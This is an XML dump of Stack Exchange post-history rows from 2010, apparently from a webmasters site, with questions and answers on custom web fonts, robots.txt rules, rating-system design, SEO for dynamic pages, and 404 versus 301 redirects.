  <row Id="11358" PostHistoryTypeId="2" PostId="5687" RevisionGUID="cf01ddf2-b35e-4a8b-af31-908366d211dc" CreationDate="2010-11-19T23:27:44.327" UserId="2480" Text="&#xD;&#xA;&#xD;&#xA; 1. Just use [webfonts][1]. Virtually any browser will display them correctly (if you put them in alternative formats). Just host them as a regular files (which they are). Here is [really good tutorial][2]. One more advantage: you don't need to think how to trick google&#xD;&#xA;&#xD;&#xA; 2. [sIFR][3], [Cufón][4], [FLIR][5] or other image sprites - that's really old-style bull-crab which was&#xD;&#xA;    invented for unknown reasons ;) don't use that.&#xD;&#xA;&#xD;&#xA; 3. A lot of text typed in a couple images it's:&#xD;&#xA;&#xD;&#xA;   - long load time&#xD;&#xA;   - anti-seo (of course you can use cloaking and serve different content to google bot and user, but it's just more work and testing and also risky [rival site owners may tell on you to google:])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_typography#Web_fonts&#xD;&#xA;  [2]: http://nicewebtype.com/notes/2009/10/30/how-to-use-css-font-face/&#xD;&#xA;  [3]: http://wiki.novemberborn.net/sifr/&#xD;&#xA;  [4]: http://cufon.shoqolate.com/generate/&#xD;&#xA;  [5]: http://facelift.mawhorter.net/" />
  <row Id="11359" PostHistoryTypeId="2" PostId="5688" RevisionGUID="217c8866-9520-48dd-9153-abc48938453e" CreationDate="2010-11-19T23:29:33.513" UserId="3358" Text="Build the site with images. Then in a dew months when she comes back complaining about not being found by the engines re-build the site with text and charge another fee!" />
  <row Id="11360" PostHistoryTypeId="2" PostId="5689" RevisionGUID="5ebca0d6-4747-466e-8cb5-8cb26a65bb8c" CreationDate="2010-11-19T23:41:47.567" UserId="2297" Text="While web fonts are pretty much standard across all major browsers now, figuring out the cross browser intricacies of the different font formats can be tricky.&#xD;&#xA;&#xD;&#xA;Google provides a nice [web font api and font directory][1] to help out here that you might find useful. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/webfonts/" />
  <row Id="11361" PostHistoryTypeId="2" PostId="5690" RevisionGUID="e68b6a2f-7e33-4f78-a1e9-b839929b25f3" CreationDate="2010-11-19T23:59:33.683" UserDisplayName="Rick Curran" Text="Use one of the Font-Face kits from [link text][1]. The kit provides 4 different font formats and the correct CSS required to use them. Works in all modern browsers and in legacy IE versions too!&#xD;&#xA;&#xD;&#xA;  [1]: http://Www.fontsquirrel.com" />
  <row Id="11362" PostHistoryTypeId="2" PostId="5691" RevisionGUID="32693629-2106-4fb9-9c93-79e32d67ed61" CreationDate="2010-11-20T00:06:39.830" UserId="616" Text="I used to do this with background images and hidden nested spans. Looks great to text browsers and search engines, and has custom fonts for richer browsers.&#xD;&#xA;&#xD;&#xA;HTML:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;&lt;span&gt;Welcome to Hell on Wheels&lt;/span&gt;&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;CSS:&#xD;&#xA;&#xD;&#xA;    h1 {&#xD;&#xA;        background: url(welcome.gif) no-repeat;&#xD;&#xA;        display: block;&#xD;&#xA;        height: 68px;&#xD;&#xA;        width: 415px;&#xD;&#xA;    }&#xD;&#xA;    h1 span { display: none; }&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;![Welcome to Hell on Wheels][1]&#xD;&#xA;&#xD;&#xA;[See it in action](http://static.bwerp.net/~adam/2010/11/19/welcome.html).&#xD;&#xA;&#xD;&#xA;There's really no limit to the amount of text you can replace with this method (appropriate tags and hidden styles in smart ways) but honestly the custom font your client wants to use is likely far less readable than all of the common web fonts. You should really try to talk her down.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/KElhJ.gif" />
  <row Id="11363" PostHistoryTypeId="2" PostId="5692" RevisionGUID="ac0b06e7-958d-468f-b7b0-523cc69b5671" CreationDate="2010-11-20T00:06:49.987" UserId="2297" Text="PHP is generally more of an accessible language to beginners or casual web programmers than JSP. Therefore hosting tends to be much more common and also, therefore cheaper.&#xD;&#xA;&#xD;&#xA;JSPs are a special type of Java servlet. These run in a servlet container. In a paid for hosting environment this will typically be [Apache Tomcat][1]. This is open source. I'd expect any decent Tomcat hosting company to have a setup where deployment is no more difficult than PHP. If you want to look into basic JSP hosting look for shared (rather than private) Tomcat instance options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tomcat.apache.org/" />
  <row Id="11364" PostHistoryTypeId="2" PostId="5693" RevisionGUID="e2a7fc63-5e7b-4823-8c5c-f2d91dbc085c" CreationDate="2010-11-20T00:15:04.800" UserId="939" Text="Try using the [typeface.js][1] library! You can use any custom TrueType or OpenType font just by including the library in the top of your page and giving your special-fonted elements a special class. It's free, open source, cross platform, and search engines will see your text too. No images necessary; the library handles all of that and you simply design it like a typical webpage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://typeface.neocracy.org/" />
  <row Id="11365" PostHistoryTypeId="2" PostId="5694" RevisionGUID="f6a02112-340f-4e6a-abc9-d7a1b2ba459c" CreationDate="2010-11-20T00:32:13.667" UserId="233" Text="Yes those pages would be blocked, assuming they are at the same directory level. There is no `*` wildcard in robots.txt, except a single `*` for the User agent.&#xD;&#xA;&#xD;&#xA;In other words this...&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /tempPage&#xD;&#xA;&#xD;&#xA;...would block `yoursite.com/tempPage`, `yoursite.com/tempPage_1`, `yoursite.com/temp_Page_2`, `yoursite.com/tempPage_x`." />
  <row Id="11366" PostHistoryTypeId="2" PostId="5695" RevisionGUID="f5281e44-0eff-4653-a791-8fe4843fc87e" CreationDate="2010-11-20T00:39:48.027" UserId="3366" Text="Lots of great options here for answers. Seems Font Squirrel (http://www.fontsquirrel.com/fontface/generator) deserves a mention. And yeah, the Google Font APIs are great as well.&#xD;&#xA;&#xD;&#xA;As for image substitution, personally I'd recommend a span in an element, with the image as the background on the parent of the span. But instead of display:none on the span, position:absolute it off screen. That way screen readers still get that content.&#xD;&#xA;&#xD;&#xA;I seem to recall moving off screen winning out over indent, but maybe I've got my silly pants on.&#xD;&#xA;&#xD;&#xA;But double also yeah - embed those fonts." />
  <row Id="11367" PostHistoryTypeId="2" PostId="5696" RevisionGUID="4e924b14-fdc5-46a9-8a60-8fcd71db62bd" CreationDate="2010-11-20T00:44:40.983" UserId="3366" Text="I would also vote Dreamhost (http://dreamhost.com), quite a value with a promocode (yeah, you could use folktrash), a kinda expensive registrar, but you get one free registration with a hosting plan, and their support is excellent.&#xD;&#xA;&#xD;&#xA;They've had some growing pains this past year, but I've been a client for over ten and am breaking on through to the other side with them.&#xD;&#xA;&#xD;&#xA;Oh, and I've had nothing but terrible experiences with godaddy." />
  <row Id="11368" PostHistoryTypeId="2" PostId="5697" RevisionGUID="739c79b0-6639-40dd-aef3-16e153e9adc3" CreationDate="2010-11-20T00:50:14.473" UserId="3366" Text="Isn't this a WordPress setting? Settings &gt; PermaLink Settings &gt; don't use custom structure, use a date/title/ or other. Isn't it a good thing to have the category in there?" />
  <row Id="11369" PostHistoryTypeId="2" PostId="5698" RevisionGUID="ab55bd38-769f-4ce3-83eb-81194df75127" CreationDate="2010-11-20T01:04:33.160" UserId="3366" Text="What i'm most excited to be able to use, or a few things that since I can't use really make me twitchy at the css (and sometimes js) compromises which are required (in order):&#xD;&#xA;&#xD;&#xA; 1. child selector (tag &gt; tag, no more reseting UL/LI styles!)&#xD;&#xA; 2. class chaining (class1.class2, less js/css!)&#xD;&#xA; 3. first-child (no more class=&quot;last&quot; or first!)&#xD;&#xA; 4. :hover on non-anchors (what up web apps!)&#xD;&#xA;&#xD;&#xA;Luck you!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11370" PostHistoryTypeId="2" PostId="5699" RevisionGUID="957a2307-6c17-498d-aefb-c658670bc988" CreationDate="2010-11-20T01:09:49.953" UserId="3366" Text="So - what's the reason to want to &quot;hide the website&quot; from ie6/7? if it's user agent specific messaging, I'd vote for conditional comments." />
  <row Id="11371" PostHistoryTypeId="2" PostId="5700" RevisionGUID="1b71f3eb-c9fc-4a55-9e54-6e7fac705196" CreationDate="2010-11-20T02:47:47.650" UserId="3368" Text="I'm going to be creating a website that allows users to upload and vote on each others' content (specific kinds of images), and I want a simple rating system in place.&#xD;&#xA;&#xD;&#xA;I was trying to determine what sort of rating system to use:&#xD;&#xA;&#xD;&#xA; 1. A binary upvote/downvote system like __StackExchange__ or __Youtube__.&#xD;&#xA; 2. A 5-star or n-star rating system like __Netflix__, or the previous rating system on YouTube.&#xD;&#xA; 3. An upvote-only (&quot;like&quot; but no &quot;dislike&quot;) system like __Digg__ or, I guess, __Facebook__.&#xD;&#xA;&#xD;&#xA;I know this is an extremely subjective question, so I'm not asking for everyones' opinion on what to use. I'm more interested in an answer based on effectiveness ... are there any studies or research done on which method is more effective?&#xD;&#xA;&#xD;&#xA;I've found [one article](http://www.socialtext.com/blog/2010/02/learnings-from-web-ratings-sys/) so far which seems to discount the five-star rating system." />
  <row Id="11372" PostHistoryTypeId="1" PostId="5700" RevisionGUID="1b71f3eb-c9fc-4a55-9e54-6e7fac705196" CreationDate="2010-11-20T02:47:47.650" UserId="3368" Text="Any good research studies on effectiveness of web rating systems?" />
  <row Id="11373" PostHistoryTypeId="3" PostId="5700" RevisionGUID="1b71f3eb-c9fc-4a55-9e54-6e7fac705196" CreationDate="2010-11-20T02:47:47.650" UserId="3368" Text="&lt;research&gt;&lt;user-input&gt;&lt;social-networks&gt;" />
  <row Id="11374" PostHistoryTypeId="2" PostId="5701" RevisionGUID="9abd4568-fde2-4877-b7a8-4c5e0da3a884" CreationDate="2010-11-20T03:57:58.793" UserId="1757" Text="Define &quot;effectiveness&quot;. If by &quot;effective&quot; you mean effective at capturing the community consensus, then they're all effective. If by &quot;effectiveness&quot; you mean the richness of the data returned, then using a point scale is going to be more &quot;effective&quot; than using a binary system. If by &quot;effectiveness&quot; you mean ease implementing a collaborative filtering system, then a binary system is preferable.&#xD;&#xA;&#xD;&#xA;This question is too vague and it also depends on the type of rating (data) you are looking for and what is being rated. They each have their place.&#xD;&#xA;&#xD;&#xA;The article you cited is concerned with poorly weighted point scale systems. Just because most people who rate a movie tend to be fans of the movie/genre doesn't mean the system is useless. That just means you need to scale/calibrate the rating system appropriately. If the median rating of all movies is 3.5 instead of 2.5, then you need to calibrate the rating system so that a 2.5 star is actually a 3.5 average. Similarly, you need to take the standard deviation into account and scale the star rating appropriately. If you do both of these things, then the precision of the 5 star rating system is very real and very valuable.&#xD;&#xA;&#xD;&#xA;Another benefit of the point scale system is that it's not just a community consensus. You can actually see how much an individual likes or dislike a film and the rating distribution for different demographics. With a simple binary system, you lose all of that. You only know that X% of girls like this film, not the degree to which they like it. And even that may not be accurate since people who don't strongly like/dislike a film probably won't vote with such limited options.&#xD;&#xA;&#xD;&#xA;With a unary system the data quality is even worse&amp;mdash;there's no distinction between a movie that has very few votes because it's not well known versus a movie that has very few votes because it sucks and everyone hates it. A movie which is loved by 50% of the viewers could have the exact same rating as one which is loved by 100% of the viewers, and there'd be no way to tell them apart.&#xD;&#xA;&#xD;&#xA;OTOH, there are all kinds of cool things you can only do with a point scale system, such as throwing away votes that are way outside the standard deviation or diluting the votes of users who consistently vote at one extreme or another. You can also make better recommendations based on more detailed individual voting data. E.g. not just group users based on which items they vote on, but also the relative ratings they give to movies: a user who gives the Boondock Saints a 5/10 and Basketball Diaries a 9/10 is going to have very different tastes from a user who gives Boondock Saints a 9/10 and Basketball Diaries 5/10.&#xD;&#xA;&#xD;&#xA;So do you want to be able to see the degree to which an individual likes/dislikes a photo, or do you only want to collect data for collaborative filtering? Is the item being rated of enough qualitative nuance and diversity that users will even attempt to rate it properly on a 5-point scale (e.g. movies versus youtube videos). Even the unary system is useful if your primary goal is to maximize user participation or you're just measuring popularity (e.g. holding a vote).&#xD;&#xA;&#xD;&#xA;On a side note, another alternative is a relative rating system in which users are shown 2 items simultaneously and pick which they prefer. There's some slightly more complicated math involved to rank items in this way, but it offers the simplicity (for users) of the regular binary system along with quality of data of a point system.&#xD;&#xA;&#xD;&#xA;Lastly, there are all kinds of tweaks you can make to voting/rating systems to account for the psychology of voting and encourage/discourage certain behaviors. For example, research has shown that users vote very differently depending on whether a vote is &quot;for keeps&quot; or inconsequential. Similarly, if users have a limited number of votes (which they need to earn), they will vote more wisely. And you can force users to expend the same number of positive votes as negative votes to compensate for the tendency of users not voting at all for items they dislike. And would users vote more diligently if their votes were broadcasted (e.g. on Facebook)?" />
  <row Id="11375" PostHistoryTypeId="5" PostId="5701" RevisionGUID="7287b3b8-9601-4caf-a77e-19425eed9127" CreationDate="2010-11-20T04:07:43.087" UserId="1757" Comment="added 123 characters in body" Text="Define &quot;effectiveness&quot;. If by &quot;effective&quot; you mean effective at capturing the community consensus, then they're all effective. If by &quot;effectiveness&quot; you mean the richness of the data returned, then using a point scale is going to be more &quot;effective&quot; than using a binary system. If by &quot;effectiveness&quot; you mean ease implementing a collaborative filtering system, then a binary system is preferable.&#xD;&#xA;&#xD;&#xA;This question is too vague and it also depends on the type of rating (data) you are looking for and what is being rated. They each have their place.&#xD;&#xA;&#xD;&#xA;The article you cited is concerned with poorly weighted point scale systems. Just because most people who rate a movie tend to be fans of the movie/genre doesn't mean the system is useless. That just means you need to scale/calibrate the rating system appropriately. If the median rating of all movies is 3.5 instead of 2.5, then you need to calibrate the rating system so that a 2.5 star is actually a 3.5 average. Similarly, you need to take the standard deviation into account and scale the star rating appropriately. If you do both of these things, then the precision of the 5 star rating system is very real and very valuable.&#xD;&#xA;&#xD;&#xA;Another benefit of the point scale system is that it's not just a community consensus. You can actually see how much an individual likes or dislike a film and the rating distribution for different demographics. With a simple binary system, you lose all of that. You only know that X% of girls like this film, not the degree to which they like it. And even that may not be accurate since people who don't strongly like/dislike a film probably won't vote with such limited options.&#xD;&#xA;&#xD;&#xA;With a unary system the data quality is even worse&amp;mdash;there's no distinction between a movie that has very few votes because it's not well known versus a movie that has very few votes because it sucks and everyone hates it. A movie which is loved by 50% of the viewers could have the exact same rating as one which is loved by 100% of the viewers, and there'd be no way to tell them apart.&#xD;&#xA;&#xD;&#xA;OTOH, there are all kinds of cool things you can only do with a point scale system, such as throwing away votes that are way outside the standard deviation or diluting the votes of users who consistently vote at one extreme or another. You can also make better recommendations based on more detailed individual voting data. E.g. not just group users based on which items they vote on, but also the relative ratings they give to movies: a user who gives the Boondock Saints a 5/10 and Basketball Diaries a 9/10 is going to have very different tastes from a user who gives Boondock Saints a 9/10 and Basketball Diaries 5/10.&#xD;&#xA;&#xD;&#xA;So do you want to be able to see the degree to which an individual likes/dislikes a photo, or do you only want to collect data for collaborative filtering? Is the item being rated of enough qualitative nuance and diversity that users will even attempt to rate it properly on a 5-point scale (e.g. movies versus youtube videos). Even the unary system is useful if your primary goal is to maximize user participation or you're just measuring popularity (e.g. holding a vote).&#xD;&#xA;&#xD;&#xA;On a side note, another alternative is a relative rating system in which users are shown 2 items simultaneously and pick which they prefer. There's some slightly more complicated math involved to rank items in this way, but it offers the simplicity (for users) of the regular binary system along with quality of data of a point system.&#xD;&#xA;&#xD;&#xA;Lastly, there are all kinds of tweaks you can make to voting/rating systems to account for the psychology of voting and encourage/discourage certain behaviors. For example, research has shown that users vote very differently depending on whether a vote is &quot;for keeps&quot; or inconsequential. Similarly, if users have a limited number of votes (which they need to earn), they will vote more wisely. And you can force users to expend the same number of positive votes as negative votes to compensate for the tendency of users not voting at all for items they dislike. Similarly, if giving a movie 5 stars costs 5 voting points, you'll probably see less polarized rating patterns from users. And would users vote more diligently if their votes were broadcasted (e.g. on Facebook)?" />
  <row Id="11376" PostHistoryTypeId="5" PostId="5690" RevisionGUID="aa38af7b-1d20-45cc-85ea-4dc9f7c1b19c" CreationDate="2010-11-20T04:46:26.550" UserId="1757" Comment="typo" Text="Use one of the Font-Face kits from [Font Squirrel][1]. The kit provides 4 different font formats and the correct CSS required to use them. Works in all modern browsers and in legacy IE versions too!&#xD;&#xA;&#xD;&#xA;  [1]: http://Www.fontsquirrel.com" />
  <row Id="11377" PostHistoryTypeId="5" PostId="5700" RevisionGUID="5bd42dbb-7220-45f8-9afb-ec6c9b1d5236" CreationDate="2010-11-20T05:29:35.013" UserId="3368" Comment="Tried to make my question more specific. Almost deleted it, but decided Lesse Majeste's answer was too useful to be thrown into oblivion :-)" Text="I'm going to be creating a website that allows users to upload and vote on each others' content (specific kinds of images), and I want a simple rating system in place.&#xD;&#xA;&#xD;&#xA;I do not care about the users and examining their rating habits. I only want to make sure that 'good' content floats to the top, and 'poor' content floats to the bottom.&#xD;&#xA;&#xD;&#xA;I was trying to determine what sort of rating system to use:&#xD;&#xA;&#xD;&#xA; 1. A binary upvote/downvote system like __StackExchange__ or __Youtube__.&#xD;&#xA; 2. A 5-star or n-star rating system like __Netflix__, or the previous rating system on YouTube.&#xD;&#xA; 3. An upvote-only (&quot;like&quot; but no &quot;dislike&quot;) system like __Digg__ or, I guess, __Facebook__.&#xD;&#xA;&#xD;&#xA;My concern with a 5-point rating scale is that some users will tend to be 'extreme' voters, voting all 5s and 1s. However, I wonder that with a unary rating system, I won't have all of my users voting 'yes' to everything.&#xD;&#xA;&#xD;&#xA;I know this is an extremely subjective question, so perhaps I should not be asking it. I am simply interested in reading a thoughtful and informative comparison on the pros and cons of these choices.&#xD;&#xA;&#xD;&#xA;I've found [one article](http://www.socialtext.com/blog/2010/02/learnings-from-web-ratings-sys/) which discounts the five-point rating system because they are often poorly weighted -- the average weighting being far too high to be useful:&#xD;&#xA;&#xD;&#xA; &gt; Unfortunately, sites discovered that results from the 5-point&#xD;&#xA; &gt; scale weren’t meaningful. Across a wide range of applications,&#xD;&#xA; &gt; the majority of people people rated objects a “5″ – the average&#xD;&#xA; &gt; rating across many type of sites is 4.5 and higher." />
  <row Id="11378" PostHistoryTypeId="2" PostId="5702" RevisionGUID="4b3cb6d8-01e2-420d-bba9-91144c8237f4" CreationDate="2010-11-20T08:13:12.517" UserId="3371" Text="I am a big fan of 37Signals, and out of curiosity wanted to see the difference between their CRM app (Highrise) and SalesForce's app, in terms of google search rankings and general visitation.  &#xD;&#xA;&#xD;&#xA;Compete shows that 37signals highrisehq.com has 78K users compared to SalesForce's 1.2ML users, but highrisehq.com has a blog read by 100K users and SalesForce does not.  More to the point, I get that SalesForce is a Billion dollar company and 37S is not, but I don't know of any content on SalesForce that people regularly go to.  Or another way, it seems as though 37Signals never pays for advertisers and SalesForce only does paid advertising.&#xD;&#xA;&#xD;&#xA;**The question is: what is the best way to compete (i.e. build traffic) against larger companies in addition to building a loyal customer base as 37S has.**" />
  <row Id="11379" PostHistoryTypeId="1" PostId="5702" RevisionGUID="4b3cb6d8-01e2-420d-bba9-91144c8237f4" CreationDate="2010-11-20T08:13:12.517" UserId="3371" Text="Big Gorilla Company Compared to Highly Successful Small Company" />
  <row Id="11380" PostHistoryTypeId="3" PostId="5702" RevisionGUID="4b3cb6d8-01e2-420d-bba9-91144c8237f4" CreationDate="2010-11-20T08:13:12.517" UserId="3371" Text="&lt;seo&gt;&lt;marketing&gt;" />
  <row Id="11381" PostHistoryTypeId="2" PostId="5703" RevisionGUID="c70ceb45-3231-44db-8ede-7ebbf9c08265" CreationDate="2010-11-20T11:04:42.243" UserId="1064" Text="Can't say that I agree with everything he posts, but Seth Godin has a few things to say about niche businesses which address your question.&#xD;&#xA;&#xD;&#xA;From his &quot;[An atomic theory of business size][1]&quot; post:&#xD;&#xA;&#xD;&#xA;&gt; Want to go from freelance work as a&#xD;&#xA;&gt; programmer to running a business like&#xD;&#xA;&gt; Fog Creek Software? Totally different&#xD;&#xA;&gt; list of requirements.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This is actually a good thing. It's&#xD;&#xA;&gt; good because rightsizing allows you to&#xD;&#xA;&gt; be profitable and live as a human.&#xD;&#xA;&#xD;&#xA;(Posts like [Make the world smaller][2] would speak more exactly to the point, but it's relevant enough given that you're using a [Fog Creek product][3] here)&#xD;&#xA;&#xD;&#xA;More often than not, small and focused companies are better able to adapt to the needs of specific user communities than larger companies - smaller companies are (or at least should be) closer to the right size to respond to their user communities without the needless delays which often accompany *anything* a &quot;gorilla&quot; company might attempt. (Remember, any ideas or requests fed into most any big company will need to travel through a Kafka-esque bureaucracy before they are translated into products or services ... the same cannot be said for a small and focused company - at least not for the ones which will be around a year from now)&#xD;&#xA;&#xD;&#xA;The problems of offering &quot;everything to everyone&quot; (or leveraging legions of salespeople to convince everyone that your product is the right one for their needs - even if cheaper and more appropriate options exist) are parallel to the problems of offering a targeted service or product which fulfills the needs of a specific group of people or businesses.&#xD;&#xA;&#xD;&#xA;Where a &quot;gorilla&quot; will attempt to dominate all markets, (often resulting in sales commission largess which, in turn, confers an inflated price) a small and focused company will attempt to be the best solution to a specific problem ... and because a small company can devote more of its energy to solving the domain-specific problems of a niche, the small and focused company usually offers a cheaper &amp;/or better solution for that niche.&#xD;&#xA;&#xD;&#xA;If your competition has high sales staff and advertising overhead, the strategy is pretty simple: make a product or service which (though it may not be able to shoe-horn *every* potential client's needs into its feature set) does one thing and does it well enough that it becomes a standard within the niche which it serves.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sethgodin.com/blog/index.php/2010/11/an-atomic-theory-of-business-size.html&#xD;&#xA;  [2]: http://sethgodin.typepad.com/seths_blog/2009/02/make-the-world-smaller.html&#xD;&#xA;  [3]: http://stackoverflow.com/about/management" />
  <row Id="11382" PostHistoryTypeId="2" PostId="5704" RevisionGUID="c9528e7f-fa13-4783-b391-4de3d94ced74" CreationDate="2010-11-20T11:49:38.190" UserId="3374" Text="I have a very stupid question.&#xD;&#xA;I developed a website that has only one page at the public html directory(index.php). &#xD;&#xA;all content are dynamically loaded as different pages. &#xD;&#xA;&#xD;&#xA;How can i SEO my pages for google?&#xD;&#xA;&#xD;&#xA;i mean like the what we type in this site are .............i believe stored in database and search engine find these pages like any static pages...&#xD;&#xA;&#xD;&#xA;Thank you for answer in advance&#xD;&#xA;" />
  <row Id="11383" PostHistoryTypeId="1" PostId="5704" RevisionGUID="c9528e7f-fa13-4783-b391-4de3d94ced74" CreationDate="2010-11-20T11:49:38.190" UserId="3374" Text="SEO for pages that load from database" />
  <row Id="11384" PostHistoryTypeId="3" PostId="5704" RevisionGUID="c9528e7f-fa13-4783-b391-4de3d94ced74" CreationDate="2010-11-20T11:49:38.190" UserId="3374" Text="&lt;seo&gt;" />
  <row Id="11385" PostHistoryTypeId="5" PostId="5704" RevisionGUID="6af55a74-409b-47e0-bf07-43ff5c2c78fc" CreationDate="2010-11-20T12:07:10.163" UserId="3374" Comment="added 13 characters in body" Text="I have a very stupid question.&#xD;&#xA;I developed a website that has only one page at the public html directory(index.php). &#xD;&#xA;all content are dynamically loaded as different pages. &#xD;&#xA;&#xD;&#xA;How can i SEO my pages for google?&#xD;&#xA;&#xD;&#xA;i mean like the what we type in this site are .............i believe stored in database and search engine find these pages like any static pages...&#xD;&#xA;&#xD;&#xA;Just a little tip would be appreciable.......!" />
  <row Id="11386" PostHistoryTypeId="2" PostId="5705" RevisionGUID="95926844-ac4c-4ecf-bb8a-b3f38fccc048" CreationDate="2010-11-20T12:22:03.563" UserId="1429" Text="**If you want to SEO page contents** you need 1st to apply [Google Webmaster guidelines][1] (at least the [basic guide][2]) to your dynamic generated pages, therefor you need your dynamic page to set properly in page at least the `&lt;title&gt;` and `&lt;h1&gt;`, `&lt;meta description&gt;` by retrieving this contents from the DB. It should be different for each page, Google seems to dislike repeated contents and final users dislike them too.&#xD;&#xA;&#xD;&#xA;**Then if you want to SEO page URLs**, you basically needs to make URLs more human readable, as for a very general example: if a page talks about 'cats' the url should be something like: `http://...index.php?id=cats` (or maybe better `http://.../cats`) just avoid `http://...index.php?id=54637`&#xD;&#xA;In order to accomplish this task [here][3] they suggested me to create in DB table an `alias` field for each item/article, so supposing your DB primary key is an integer just cerate a another field called 'alias' (this field muts be UNIQUE **no duplicates**, as for the primary key) and use it in your URLs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769&#xD;&#xA;  [2]: http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/5471/seo-adding-an-unecessary-description-key-in-dynamic-url-is-it-good-or-not" />
  <row Id="11387" PostHistoryTypeId="5" PostId="5392" RevisionGUID="c2c45652-7f60-4baa-b369-091170773b62" CreationDate="2010-11-20T12:54:02.227" UserId="1429" Comment="added 1457 characters in body" Text="I know this question is someway similar to [this one][1] where they reccomend using 404, but after reading [this other one][2] where they suggest to use 301 when changing site urls (in the specific case was due to redesign/refactoring) I get a bit of confused and I hope someone could clarify for this specific example:&#xD;&#xA;&#xD;&#xA;1. Let's say I have an ecommerce site,&#xD;&#xA;&#xD;&#xA;2. let's also say the final user inserted some interesting items in the site and the ecommerce webapp created the item pages at the urls: `http://...?id=20`, `http://...?id=30` etc.&#xD;&#xA;&#xD;&#xA;3. Now let's say some of these interesting items got many external links toward them from many other sites because some people found those items very interesting and linked to them.&#xD;&#xA;&#xD;&#xA;4. After some years the final user deletes those items, so obviously the pages/urls `http://...?id=20`, `http://...?id=30`, etc. **now do not exist anymore, but still many pages on the web are linking toward them**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What should the ecommerce site do now, just show a 404 page for those items?**&#xD;&#xA;&#xD;&#xA;But, I'm confused, **wouldn't this loose all the Google PR passed by the external links to the items pages?** So isn't it better to use 301 redirect to HOME PAGE that at least passes the PR to the HOME PAGE?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Well, according to answeres **the best thing to do so far is to do a 404/410**.&#xD;&#xA;&#xD;&#xA;In order to make this question more complete, I would like to talk about a special case, just to make sure I understood. properly.&#xD;&#xA;&#xD;&#xA;Let's say the user creates those items again (the ones he previously deleted at point 4), maybe he changes a bit their names and description, but they are basically the same items. The webapp has no way to know these new added items were the old items so it obviously create them as new items with new urls `http://...?id=100`, `http://...?id=101`, **does it makes sense at this point to redirect 301 the old urls to the new ones?**&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**MORE EDIT (It would be VERY IMPORTANT TO UNDERSTAND):**&#xD;&#xA;&#xD;&#xA;Well according to the clever answers received so far it seems for the special case, explained in my last EDIT, I could use 301, since it's something of not deceptive cause basically the new pages is a replacement for the old page in term of contents.&#xD;&#xA;This is basically done to keep the PR passed from external link and also for better user experience.&#xD;&#xA;&#xD;&#xA;But beside the user experince, that is discussible (*1), in order to preserve PR from external broken linlks why not just always use 301, In my understanding Google dislikes duplicated contents, **but are we sure that 301 redirect to HOME PAGE is seen as duplicated contents for Google?!** &#xD;&#xA;&#xD;&#xA;**Google itself [suggests to redircet 301 index.html to document root][3] so if they consider 301 as duplicated contents wouldn't that be considered duplicated contents too?! Why do they suggest it?**&#xD;&#xA;&#xD;&#xA;Let me provoke you: *“why not just add a 301 to HOME PAGE for every not found page?”* &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(*1) as I user, when following a broken url from some external link to a website's page I might stick more to this website if I get redirected to HOME PAGE rather than seeing a 404 page where I would think the webiste does not even exist anymore and maybe I don't even try to go to HOME PAGE of the website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3131/is-it-better-to-have-an-errordocument-404-redirect-back-to-the-homepage-or-a-stan/3135#3135&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2652/updating-redesign-website-how-to-retain-transfer-ranking&#xD;&#xA;  [3]: http://groups.google.com/group/only-validation/web/fix-canonical-issues-www-vs-non-www-and-more-on-apache-server?pli=1" />
  <row Id="11388" PostHistoryTypeId="2" PostId="5706" RevisionGUID="9656d20b-c550-4337-9364-41dc1423063f" CreationDate="2010-11-20T14:16:06.713" UserId="2293" Text="**For question:**&#xD;&#xA;I would keep a 404/410 page for the excluded product, and create a new one for the new product.&#xD;&#xA;&#xD;&#xA;**For special case:**&#xD;&#xA;probably I'd go with same above OR... use a 303 redirect. Perhaps a 301, but this definitively wouldn't be my first choice.&#xD;&#xA;&#xD;&#xA;**For second edit:**&#xD;&#xA;As stated many times for web developers / seo guys: SEO is the result of a nice build page. Think on users first. Period.&#xD;&#xA;&#xD;&#xA;Also don't reinvent the wheel because someone said you need to. Technologies exist and is your responsability to use them in a proper way. HTTP Headers and Response Codes covers almost any case you can imagine/need.&#xD;&#xA;&#xD;&#xA;Now as user, I can say I don't mind if I reach an useful 404 page. Of course, ugly, times new roman size 10px, black and white, with techie text, are the worst ever a user can find. I hate that too. But if I reach a page that gives me the option to check a sitemap, search, and provide some probably similar links... this makes me happier than being redirected to home page.&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;Do what you need to do, use what you already have (explore what you have better), and place yourself as your own user." />
  <row Id="11389" PostHistoryTypeId="2" PostId="5707" RevisionGUID="729a1364-70e0-40b9-9e71-ee32e04df86e" CreationDate="2010-11-20T14:31:40.827" UserId="3376" Text="I would like to know how I would be able to do that, as I am short on cash and would like to go it alone." />
  <row Id="11390" PostHistoryTypeId="1" PostId="5707" RevisionGUID="729a1364-70e0-40b9-9e71-ee32e04df86e" CreationDate="2010-11-20T14:31:40.827" UserId="3376" Text="How would I be able to start a url purchasing company?" />
